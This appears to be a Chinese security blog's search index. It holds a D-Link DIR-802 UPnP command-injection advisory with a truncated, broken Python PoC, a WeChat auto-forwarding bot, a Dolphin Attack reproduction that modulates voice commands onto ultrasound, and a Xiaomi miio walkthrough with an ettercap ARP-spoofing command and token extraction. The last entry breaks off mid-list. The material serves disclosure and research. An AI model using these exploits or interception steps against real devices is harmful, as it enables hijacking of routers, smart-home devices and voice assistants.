2019-04-15 07:42:42 +00:00
<?xml version="1.0" encoding="utf-8"?>
2021-04-10 20:14:09 +00:00
<search >
<entry >
<title > DIR-802 OS Command Injection</title>
<url > /2021/03/02/DIR-802-OS-Command-Injection/</url>
<content > <![CDATA[<h3 id="D-LINK-DIR-802-命令注入漏洞"> <a href= "#D-LINK-DIR-802-命令注入漏洞" class= "headerlink" title= "D-LINK DIR-802 命令注入漏洞" > </a> D-LINK DIR-802 命令注入漏洞</h3> <blockquote >
<p > by Cool</p>
</blockquote>
<h4 id= "漏洞已提交厂商" > <a href= "#漏洞已提交厂商" class= "headerlink" title= "漏洞已提交厂商" > </a> 漏洞已提交厂商</h4> <p > <a href= "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206" target= "_blank" rel= "noopener" > https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206</a> </p>
<h4 id= "漏洞类型" > <a href= "#漏洞类型" class= "headerlink" title= "漏洞类型" > </a> 漏洞类型</h4> <p > CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘ OS Command Injection’ )</p>
<h4 id= "受影响设备及软件版本" > <a href= "#受影响设备及软件版本" class= "headerlink" title= "受影响设备及软件版本" > </a> 受影响设备及软件版本</h4> <p > DIR-802 hardware revision Ax before v1.00b05<br > <a href= "https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0" target= "_blank" rel= "noopener" > https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450& fileName=DIR802_FW100b05.zip& fileSize=6163759.0</a> ;</p>
<h4 id= "漏洞概要" > <a href= "#漏洞概要" class= "headerlink" title= "漏洞概要" > </a> 漏洞概要</h4> <p > DIR-802中存在一个命令注入漏洞, 攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。</p>
<h4 id= "漏洞详情" > <a href= "#漏洞详情" class= "headerlink" title= "漏洞详情" > </a> 漏洞详情</h4> <p > 与CVE-2020-15893相似, 在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下, 端口1900上启用了通用即插即用( UPnP) 。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”( ST) 字段来执行命令注入。</p>
<h4 id= "POC" > <a href= "#POC" class= "headerlink" title= "POC" > </a> POC</h4> <figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "comment" > # coding: utf-8</span> </span> <br > <span class= "line" > <span class= "keyword" > import</span> socket</span> <br > <span class= "line" > <span class= "keyword" > import</span> struct</span> <br > <span class= "line" > buf = <span class= "string" > 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service</span> </span> <br > <span class= "line" > <span class= "string" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span> </span> <br > <span class= "line" > <span class= "string" > s.connect(("192.168.0.1", 1900))</span> </span> <br > <span class= "line" > <span class= "string" > s.send(buf)</span> </span> <br > <span class= "line" > <span class= "string" > s.close()</span> </span> <br > </pre> </td> </tr> </table> </figure>
<h4 id= "漏洞复现" > <a href= "#漏洞复现" class= "headerlink" title= "漏洞复现" > </a> 漏洞复现</h4> <p > 使用firmadyne进行固件模拟, 运行UPnP服务<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png" width= "50%" height= "50%" > </p>
<p > 攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口, 该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png" width= "50%" height= "50%" > </p>
]]></content>
2021-01-08 08:35:03 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2021-01-08 08:35:03 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > D-LINK</tag>
<tag > UPnP</tag>
<tag > 固件模拟</tag>
</tags>
</entry>
<entry >
<title > 利用itchat定时转发微信消息</title>
<url > /2019/03/23/auto-send-WX/</url>
<content > <![CDATA[<p> 我们实验室有个光荣传统, 每天早上起床叫醒我的不是闹钟, 而是群里雷打不动的安全新闻( 其实我免提醒了2333) <br > 而这个发送新闻的人, 一代一代的传承, 我没想到竟然有一天会落在我头上, 哭了o(╥﹏╥)o<br > 为了不暴露我的起床时间,同时能保质保量的完成任务,我决定做个机器人帮我完成。<br > 这就是这片po文的由来啦! </p>
<h1 id= "大杀器itchat" > <a href= "#大杀器itchat" class= "headerlink" title= "大杀器itchat" > </a> 大杀器itchat</h1> <h2 id= "introduction" > <a href= "#introduction" class= "headerlink" title= "introduction" > </a> introduction</h2> <p > 先来一段<a href= "https://itchat.readthedocs.io/zh/latest/" target= "_blank" rel= "noopener" > itchat</a> 的官方介绍吧</p>
<blockquote >
<p > itchat是一个开源的微信个人号接口, 使用python调用微信从未如此简单。<br > 使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。<br > 当然, 该api的使用远不止一个机器人, 更多的功能等着你来发现, 比如这些。<br > 该接口与公众号接口itchatmp共享类似的操作方式, 学习一次掌握两个工具。<br > 如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。</p>
</blockquote>
<p > 实际上, itchat是对微信网页端的爬虫, 所以, 网页端可以实现的功能都有, 那么, 我想要的定时群发微信消息, 自然不在话下! </p>
<h2 id= "初步尝试" > <a href= "#初步尝试" class= "headerlink" title= "初步尝试" > </a> 初步尝试</h2> <ul >
<li > <p > 安装</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > pip install itchat</span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 一个简单实例:实现给文件传输助手发送消息</p>
</li>
</ul>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > import itchat</span> <br > <span class= "line" > itchat.auto_login()</span> <br > <span class= "line" > itchat.send(' Hello, filehelper' , toUserName=' filehelper' )</span> <br > </pre> </td> </tr> </table> </figure>
<h1 id= "实现定时转发" > <a href= "#实现定时转发" class= "headerlink" title= "实现定时转发" > </a> 实现定时转发</h1> <p > 这个的实现需要注册msg_register,逻辑很简单,当收到指定群里的指定消息时,将消息转发到另一个群。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > import itchat</span> <br > <span class= "line" > from datetime import datetime</span> <br > <span class= "line" > import time</span> <br > <span class= "line" > import re</span> <br > <span class= "line" > import threading</span> <br > <span class= "line" > from itchat.content import TEXT</span> <br > <span class= "line" > from itchat.content import *</span> <br > <span class= "line" > from apscheduler.schedulers.blocking import BlockingScheduler</span> <br > <span class= "line" > </span> <br > <span class= "line" > @itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)</span> <br > <span class= "line" > def getContent(msg):</span> <br > <span class= "line" > global g_msg</span> <br > <span class= "line" > groups = itchat.get_chatrooms(update = True)</span> <br > <span class= "line" > for g in groups:</span> <br > <span class= "line" > #print(g[' NickName' ])</span> <br > <span class= "line" > if g[' NickName' ] == ' 被转发的群名' :</span> <br > <span class= "line" > from_group = g[' UserName' ]</span> <br > <span class= "line" > if ' 每日安全简讯' in msg[' Content' ]:</span> <br > <span class= "line" > print(" get message from " + msg[' FromUserName' ])</span> <br > <span class= "line" > if msg[' FromUserName' ] == from_group:</span> <br > <span class= "line" > g_msg = msg[' Content' ]</span> <br > <span class= "line" > print(' 成功获得群消息,等待转发' )</span> <br > <span class= "line" > print(int(time.strftime(" %H%M%S" )))</span> <br > <span class= "line" > while(1):</span> <br > <span class= "line" > if int(time.strftime(" %H%M%S" )) > 80000:</span> <br > <span class= "line" > SendMessage(g_msg,' 发送的对象群名' )</span> <br > <span class= "line" > g_msg = ' ' </span> <br > <span class= "line" > break</span> <br > <span class= "line" > </span> <br > <span class= "line" > def SendMessage(context,gname):</span> <br > <span class= "line" > itchat.get_chatrooms(update = True)</span> <br > <span class= "line" > users = itchat.search_chatrooms(name=gname)</span> <br > <span class= "line" > userName = users[0][' UserName' ]</span> <br > <span class= "line" > itchat.send_msg(context,toUserName=userName)</span> <br > <span class= "line" > print(" \n发送时间: " + datetime.now().strftime(" %Y-%m-%d %H:%M:%S" ) + " \n" " 发送到:" + gname + " \n" + " 发送内容:" + context + " \n" )</span> <br > <span class= "line" > print(" *********************************************************************************" )</span> <br > <span class= "line" > </span> <br > <span class= "line" > if __name__ == ' __main__' :</span> <br > <span class= "line" > itchat.auto_login(hotReload=True,enableCmdQR=2)</span> <br > <span class= "line" > itchat.run(blockThread=False)</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "添加周期防掉线" > <a href= "#添加周期防掉线" class= "headerlink" title= "添加周期防掉线" > </a> 添加周期防掉线</h1> <p > 据说每三十分钟发送一次消息可防止网页端微信掉线~~<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > def loop_send():</span> <br > <span class= "line" > nowTime = datetime.now().strftime(" %Y-%m-%d %H:%M:%S" )</span> <br > <span class= "line" > context = ' 现在是北京时间 :\n' + nowTime +' \n\n我们还活着' </span> <br > <span class= "line" > itchat.get_chatrooms(update = True)</span> <br > <span class= "line" > users = itchat.search_friends(name=u' chengkun' )</span> <br > <span class= "line" > userName = users[0][' UserName' ]</span> <br > <span class= "line" > itchat.send_msg(context,toUserName=userName)</span> <br > <span class= "line" > </span> <br > <span class= "line" > if __name__ == ' __main__' :</span> <br > <span class= "line" > sched = BlockingScheduler()</span> <br > <span class= "line" > sched.add_job(loop_send,' interval' ,minutes=30)</span> <br > <span class= "line" > sched.start()</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h1 id= "把程序放在服务器上" > <a href= "#把程序放在服务器上" class= "headerlink" title= "把程序放在服务器上" > </a> 把程序放在服务器上</h1> <p > 我是在腾讯云有个服务器,因为自己的电脑不可能时时刻刻开机,所以就放在服务器上,方法是:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > sudo nohup python -u auto_Send.py > > auto_Send.log 2> & 1 & </span> <br > </pre> </td> </tr> </table> </figure> </p>
<ul >
<li > 使用nohup可以让程序在后台运行</li>
<li > 然后将日志输出到auto_Send.log, 方便我们后期出bug了排错</li>
<li > -u可以防止输出到python缓冲区</li>
</ul>
<h1 id= "遇到的坑" > <a href= "#遇到的坑" class= "headerlink" title= "遇到的坑" > </a> 遇到的坑</h1> <h2 id= "线程阻塞问题" > <a href= "#线程阻塞问题" class= "headerlink" title= "线程阻塞问题" > </a> 线程阻塞问题</h2> <p > 这里有两个线程, 一个是定时转发, 一个是循环发送, 因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。</p>
<h2 id= "找不到群组" > <a href= "#找不到群组" class= "headerlink" title= "找不到群组" > </a> 找不到群组</h2> <p > 这是因为users = itchat.search_chatrooms(name=gname),在搜索的是你保存到通讯录的群组。</p>
<h2 id= "二维码显示不全" > <a href= "#二维码显示不全" class= "headerlink" title= "二维码显示不全" > </a> 二维码显示不全</h2> <p > itchat.auto_login(hotReload=True,enableCmdQR=2), 需要设置为2</p>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 杂七杂八</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > itchat</tag>
<tag > 微信</tag>
</tags>
</entry>
<entry >
<title > Dolphin Attack 论文复现</title>
<url > /2021/01/08/dolphin-attack-practice/</url>
<content > <![CDATA[<h1 id="海豚音攻击-复现"> <a href= "#海豚音攻击-复现" class= "headerlink" title= "海豚音攻击-复现" > </a> 海豚音攻击-复现</h1> <p > 文章中提到两种方案,一是具有信号发生器的强大变送器,二是带有智能手机的便携式变送器;前一种方案成本过于高,本文不做分析,后一种方案的实现成本在我们可接收的范围。<br > 但原文中对后一方案的实现没有太多介绍,于是我通过邮件咨询了作者-闫琛博士,闫博士非常友好,我是在晚上十点发送的第一封邮件,差不多在十分钟内通过几封邮件的交流,解决了我的问题,很快确定了我的具体实现路径,非常感谢大佬!</p>
<ul >
<li > Q: 使用便携式设备攻击的时候, 三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢? 是预先使用专业设备调制好的信号保存为mp3吗? </li>
<li > A: 通过软件调制,生成.wav的超声波音频文件, 再通过三星手机播放的。</li>
<li > Q: 用的是什么软件进行调制?</li>
<li > A: 用过matlab和python, 都是可以的</li>
</ul>
<h2 id= "0x01-语音命令生成" > <a href= "#0x01-语音命令生成" class= "headerlink" title= "0x01 语音命令生成" > </a> 0x01 语音命令生成</h2> <p > <a href= "https://ttstool.com/" target= "_blank" rel= "noopener" > https://ttstool.com/</a> <br > 微软的TTS接口生成的是mp3格式音频, 一般来说我们使用python处理音频都是针对wav格式。<br > <a href= "https://www.aconvert.com/cn/audio/mp3-to-wav/" target= "_blank" rel= "noopener" > https://www.aconvert.com/cn/audio/mp3-to-wav/</a> <br > 我们可以通过这个网站对格式做转换。<br > <a href= "https://coolyim.quip.com/-/blob/OVVAAAmjZcr/Eq9qXdQ7_eD5KQaR33wCCw?name=xiaoyi.wav" target= "_blank" rel= "noopener" > xiaoyi.wav</a> <br > 这个网站的采样率最高只能达到96000hz<br > <a href= "https://coolyim.quip.com/-/blob/OVVAAAmjZcr/aZfltfEV_ZxV1LCGznB1OA?name=6wxmu-crusr.wav" target= "_blank" rel= "noopener" > 6wxmu-crusr.wav</a> </p>
<h2 id= "0x02-语音命令调制" > <a href= "#0x02-语音命令调制" class= "headerlink" title= "0x02 语音命令调制" > </a> 0x02 语音命令调制</h2> <p > 生成语音命令的基带信号后,我们需要在超声载波上对其进行调制,以使它们听不到。 为了利用麦克风的非线性, DolphinAttack必须利用幅度调制( AM) 。</p>
<h3 id= "AM调制原理" > <a href= "#AM调制原理" class= "headerlink" title= "AM调制原理" > </a> AM调制原理</h3> <p > 使载波的振幅按照所需传送信号的变化规律而变化, 但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制( AM) 。其中, 载波信号的振幅随着调制信号的某种特征的变换而变化。例如, 0或1分别对应于无载波或有载波输出, 电视的图像信号使用调幅。调频的抗干扰能力强, 失真小, 但服务半径小。<br > 假设载波uc(t)和调制信号的频率分别为ωc和Ω, 在已调波中包含三个频率成分: ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频, ωc-Ω称为下边频。</p>
<p > <a href= "https://epxx.co/artigos/ammodulation.html" target= "_blank" rel= "noopener" > https://epxx.co/artigos/ammodulation.html</a> <br > <a href= "http://www.chenjianqu.com/show-44.html" target= "_blank" rel= "noopener" > http://www.chenjianqu.com/show-44.html</a> <br > <a href= "https://zhuanlan.zhihu.com/p/54561504" target= "_blank" rel= "noopener" > https://zhuanlan.zhihu.com/p/54561504</a> <br > <a href= "http://www.mwhitelab.com/archives/208" target= "_blank" rel= "noopener" > http://www.mwhitelab.com/archives/208</a> </p>
<h3 id= "使用python调制" > <a href= "#使用python调制" class= "headerlink" title= "使用python调制" > </a> 使用python调制</h3> <p > 现在我们已经有了基带信号,使用<a href= "https://www.fosshub.com/Audacity.html" target= "_blank" rel= "noopener" > Audacity</a> 对其进行频谱分析, 此语音的带宽或频谱( 左图为采样频率48khz音频, 右图为96khz) : <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/08_YW7UW_PS_TOE_LZZY.png" a l t > <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/WGD_U453KYP3M3_2639_5I.png" a l t > </p>
<p > 我们可以看到带宽为8000-9000hz左右, 这是女声, 因此频带范围较宽。这可能导致可听范围内的频率泄露, 但这里我们先不去讨论, 之后再使用带宽较小的语音以创建基带语音信号。<br > wave包最多能读取的wav音频采样率为<a href= "https://github.com/jiaaro/pydub/issues/134" target= "_blank" rel= "noopener" > 48khz</a> , 当超过这个值时, wave就不再支持( wave.Error: unknown format: 65534) 。但我们的载波频率为30khz左右, 这就要求音频文件的采样率高于60khz才能保证不失真。所幸<a href= "https://kite.com/python/docs/scipy.io.wavfile" target= "_blank" rel= "noopener" > <code > scipy.io.wavfile</code> </a> 支持高于48khz的wav文件读取。<br > 使用以下Python程序来生成调制的AM和AM-SC音频, AM是广播无线电调制的“正常”声音, 它加上了载波; AM-SC则只是载波与原始信号的乘积。</p>
<figure class= "highlight python" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "comment" > # coding=utf-8</span> </span> <br > <span class= "line" > <span class= "keyword" > import</span> numpy <span class= "keyword" > as</span> np</span> <br > <span class= "line" > <span class= "keyword" > import</span> matplotlib.pyplot <span class= "keyword" > as</span> plt</span> <br > <span class= "line" > <span class= "keyword" > import</span> os</span> <br > <span class= "line" > <span class= "keyword" > import</span> wave</span> <br > <span class= "line" > <span class= "keyword" > import</span> struct</span> <br > <span class= "line" > <span class= "keyword" > import</span> math</span> <br > <span class= "line" > <span class= "keyword" > from</span> pydub <span class= "keyword" > import</span> AudioSegment</span> <br > <span class= "line" > <span class= "keyword" > import</span> scipy.io.wavfile</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > main</span> <span class= "params" > ()</span> :</span> </span> <br > <span class= "line" > test = scipy.io.wavfile.read(<span class= "string" > "xiaoyi.wav"</span> )</span> <br > <span class= "line" > nframes = len(test[<span class= "number" > 1</span> ])</span> <br > <span class= "line" > waveData = np.fromstring(test[<span class= "number" > 1</span> ],dtype=np.short)<span class= "comment" > #将原始字符数据转换为整数</span> </span> <br > <span class= "line" > <span class= "comment" > #音频数据归一化</span> </span> <br > <span class= "line" > maxW = max(abs(waveData))</span> <br > <span class= "line" > waveData = waveData * <span class= "number" > 1.0</span> /maxW</span> <br > <span class= "line" > <span class= "comment" > #将音频信号规整乘每行一路通道信号的格式, 即该矩阵一行为一个通道的采样点, 共nchannels行</span> </span> <br > <span class= "line" > Tdata = np.reshape(waveData,[nframes,<span class= "number" > 1</span> ]).T <span class= "comment" > # .T 表示转置</span> </span> <br > <span class= "line" > am = wave.open(<span class= "string" > "am.wav"</span> , <span class= "string" > "w"</span> )</span> <br > <span class= "line" > amsc = wave.open(<span class= "string" > "amsc.wav"</span> , <span class= "string" > "w"</span> )</span> <br > <span class= "line" > carrier = wave.open(<span class= "string" > "carrier3000.wav"</span> , <span class= "string" > "w"</span> )</span> <br > <span class= "line" > <span class= "keyword" > for</span> f <span class= "keyword" > in</span> [am,amsc,carrier]:</span> <br > <span class= "line" > f.setnchannels(<span class= "number" > 1</span> )</span> <br > <span class= "line" > f.setsampwidth(<span class= "number" > 2</span> )</span> <br > <span class= "line" > f.setframerate(<span class= "number" > 96000</span> )</span> <br > <span class= "line" > <span class= "keyword" > for</span> n <span class= "keyword" > in</span> range(<span class= "number" > 0</span> , nframes):</span> <br > <span class= "line" > carrier_sample = math.cos(<span class= "number" > 30000.0</span> * (n / <span class= "number" > 96000.0</span> ) * math.pi * <span class= "number" > 2</span> )</span> <br > <span class= "line" > signal_am = signal_amsc= waveData[n] * carrier_sample</span> <br > <span class= "line" > signal_am += carrier_sample</span> <br > <span class= "line" > signal_am /= <span class= "number" > 2</span> </span> <br > <span class= "line" > am.writeframes(struct.pack(<span class= "string" > 'h'</span> , signal_am * maxW))</span> <br > <span class= "line" > amsc.writeframes(struct.pack(<span class= "string" > 'h'</span> , signal_amsc * maxW))</span> <br > <span class= "line" > carrier.writeframes(struct.pack(<span class= "string" > 'h'</span> , carrier_sample * maxW))</span> <br > <span class= "line" > </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "keyword" > if</span> __name__==<span class= "string" > '__main__'</span> :</span> <br > <span class= "line" > main()</span> <br > </pre> </td> </tr> </table> </figure>
<p > 分别对am.wav、amsc.wav、carrier3000.wav做频谱分析<br > carrier3000.wav的频谱的为集中在载波频率30khz上的一个脉冲<a href= "https://coolyim.quip.com/-/blob/OVVAAAmjZcr/9RE4Z0lCs1WACO75zLTAhA?name=carrier3000.wav" target= "_blank" rel= "noopener" > carrier3000.wav</a> <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/K5447O57_S___A_O_Q3V.png" a l t > <br > amsc.wav的带宽约为18khz, 是原来的两倍, 关于f=30khz镜面对称。AM调制会创建原始信号的两个“副本”, 一个在21-30kHz频段, 另一个在30-39kHz。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082052/Dolphin%20Attack/OPSXK_21_7R24_I_NIWM0_8.png" a l t > </p>
<p > am.wav, 在这种调制中, 我们可以听到载波, 而在AM-SC中则听不到。频谱类似于AM-SC, 但在载波频率上还有一个尖锐的“尖峰”: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082051/Dolphin%20Attack/G8_K4_ZG__PE2CQ_5_UYY.png" a l t > </p>
<h2 id= "0x03-语音命令发送器" > <a href= "#0x03-语音命令发送器" class= "headerlink" title= "0x03 语音命令发送器" > </a> 0x03 语音命令发送器</h2> <p > 下图是由智能手机驱动的便携式发射器。便携式发射器利用智能手机来发射调制信号。许多设备的最佳载波频率都大于24 kHz, 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率, 所以只能发送载波频率最高为24 kHz的调制窄带信号。需要支持高达192 kHz的采样率的手机, 而且扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题, 我使用窄带超声换能器作为扬声器, 并在超声换能器之前添加了一个放大器, 这样有效的攻击范围得以扩展。</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610082508/Dolphin%20Attack/Snipaste_2021-01-08_13-06-55.png" a l t > </p>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 顶会论文</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 硬件攻击</tag>
<tag > 传感器</tag>
<tag > 语音助手</tag>
</tags>
</entry>
<entry >
<title > Hello World</title>
<url > /2000/01/01/hello-world/</url>
<content > <![CDATA[<p> 你好!我是混元霹雳手</p>
]]></content>
</entry>
<entry >
<title > 利用miio控制局域网内的小米智能设备</title>
<url > /2018/12/15/miio-control/</url>
<content > <![CDATA[<h1 id="控制局域网内的IOT设备"> <a href= "#控制局域网内的IOT设备" class= "headerlink" title= "控制局域网内的IOT设备" > </a> 控制局域网内的IOT设备</h1> <h2 id= "中间人攻击—流量分析" > <a href= "#中间人攻击—流量分析" class= "headerlink" title= "中间人攻击—流量分析" > </a> 中间人攻击—流量分析</h2> <h3 id= "使用Nmap分析局域网内设备, 得到智能设备的IP" > <a href= "#使用Nmap分析局域网内设备, 得到智能设备的IP" class= "headerlink" title= "使用Nmap分析局域网内设备, 得到智能设备的IP" > </a> 使用Nmap分析局域网内设备, 得到智能设备的IP</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/1.png" a l t > <br > 小米智能插座: 192.168.31.197 网关: 192.168.31.147( 控制它的手机ip) </p>
<h3 id= "ettercap嗅探智能设备和网关之间的流量" > <a href= "#ettercap嗅探智能设备和网关之间的流量" class= "headerlink" title= "ettercap嗅探智能设备和网关之间的流量" > </a> ettercap嗅探智能设备和网关之间的流量</h3> <p > sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//</p>
<h3 id= "wireshark抓包分析" > <a href= "#wireshark抓包分析" class= "headerlink" title= "wireshark抓包分析" > </a> wireshark抓包分析</h3> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/2.png" a l t > <br > 从图中可以看出, 设备的命令控制包为UDP传输, 既然是UDP协议传输, 那么是否可以通过命令包重放攻击来对设备进行控制? <br > 了解到在homeassistant中可实现对小米设备的集成, 并在其中对设备进行管理和操作。Homeassistant, 主要以Python语言开发, 既然它能操控小米设备, 那它底层肯定有相关的函数调用库。<br > 为了可以消除对专有软件(米家app)的依赖, 并能控制自己的设备, 所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。<br > Miio库支持的设备有: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323434/miio/3.png" a l t > </p>
<h2 id= "小米IOT控制流程" > <a href= "#小米IOT控制流程" class= "headerlink" title= "小米IOT控制流程" > </a> 小米IOT控制流程</h2> <p > 在同一局域网中, 小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下, 向小米设备发送hello bytes就可以获得含有token的结构体数据。之后, 构造相应的结构体, 并且以同样的方式发送给设备即可完成控制。具体流程如下: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323435/miio/4.png" a l t > </p>
<h2 id= "设备Token的获取方式" > <a href= "#设备Token的获取方式" class= "headerlink" title= "设备Token的获取方式" > </a> 设备Token的获取方式</h2> <p > 小米设备的token获取有三种途径: miio获取、从米家app获取、从数据库获取</p>
<h3 id= "miio获取" > <a href= "#miio获取" class= "headerlink" title= "miio获取" > </a> miio获取</h3> <p > 在ubuntu下, 先安装miio, 然后发现设备: <br > npminstall -g miio<br > miiodiscover<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/5.png" a l t > <br > 但是很可惜, 很多设备隐藏了token, 使用该方法可能无法获取到token或获取到的token不正确。</p>
<h3 id= "米家app获取" > <a href= "#米家app获取" class= "headerlink" title= "米家app获取" > </a> 米家app获取</h3> <p > 这种方法需要的mijia app版本较老, 且只对部分设备有效。</p>
<h3 id= "从数据库获取token" > <a href= "#从数据库获取token" class= "headerlink" title= "从数据库获取token" > </a> 从数据库获取token</h3> <p > 这种方法仅在Mi Home 5.0.19之前的版本可用。<br > 该方法是读取手机中米家的app中的数据记录来获取设备的token, 具体步骤如下: </p>
<ul >
<li > 准备一部获取root权限的安卓手机</li>
<li > 安装米家app并登录账号</li>
<li > 进入/data/data/com.xiaomi.smarthome/databases/</li>
<li > 拷贝db, 下载到电脑</li>
<li > <a href= "http://miio2.yinhh.com/" target= "_blank" rel= "noopener" > 前往网站</a> , 上传db, 点击提交, 即可获得token。</li>
<li > 8894c73cbd5c7224fb4b8a39e360c255<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/6.png" a l t > </li>
</ul>
<h2 id= "脚本控制IOT设备" > <a href= "#脚本控制IOT设备" class= "headerlink" title= "脚本控制IOT设备" > </a> 脚本控制IOT设备</h2> <p > 首先随意发送hellobytes获得时间和设备ID, token我们自己设置; 然后构造发送的数据结构msg, cmd中的method包括: set_power(控制开关)、get_prop(获取状态), 控制的params是[‘ on’ ]/ [‘ off’ ], 获取状态的params是[‘ power’ , ‘ temperature’ ]<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/7.png" a l t > <br > 如果获得了token, 就能对小米的设备进行操作, 如图下面是返回的信息。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1553323440/miio/8.png" a l t > </p>
<h2 id= "总结" > <a href= "#总结" class= "headerlink" title= "总结" > </a> 总结</h2> <p > 从目前的智能家居市场来看,用户不会只使用单个智能设备厂商的设备,所以对于厂商来说,通过开放接口给用户一些局域网的控制“自由”,实现不同厂商设备的联动是一个不错的选择。<br > 从另外一个角度, 本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证, 并进而进行控制, 无形中给入侵者留了一扇门。例如, 攻击者可经过扫描互联网发现家庭路由器, 并利用弱口令或设备漏洞获得路由器的shell权限, 接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞, 大大提高了攻击者获取token的难度。</p>
]]></content>
2019-10-25 13:13:53 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2019-10-25 13:13:53 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 小米</tag>
<tag > miio</tag>
<tag > 中间人</tag>
<tag > 重放攻击</tag>
</tags>
</entry>
<entry >
<title > 自动化获取nvram配置</title>
<url > /2021/01/08/nvram-config/</url>
<content > <![CDATA[<p> ARMX作者说, nvram的内容必须从正在运行的设备中提取。<br > 一种方法是转储包含nvram数据的mtdblock, /proc/mtd可能有助于识别哪个mtdblock包含nvram。<br > 另一种方法是, 如果您可以通过UART进行命令行访问( 当然可以访问实际的硬件) , 某些固件会提供nvram命令, 运行“ nvram show”也可以获取nvram内容。<br > <a href= "https://github.com/therealsaumil/armx/issues/4" target= "_blank" rel= "noopener" > https://github.com/therealsaumil/armx/issues/4</a> </p>
<p > 知道创宇的研究人员说, nvram配置, 可以查看对应的汇编代码逻辑( 配置的有问题的话很容易触发段错误) 。</p>
<p > 我需要无需硬件自动化的处理大批设备的nvram配置, 上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te’ d</p>
<ul >
<li > upnp等二进制程序通过nvram_match来匹配nvram变量与预期值</li>
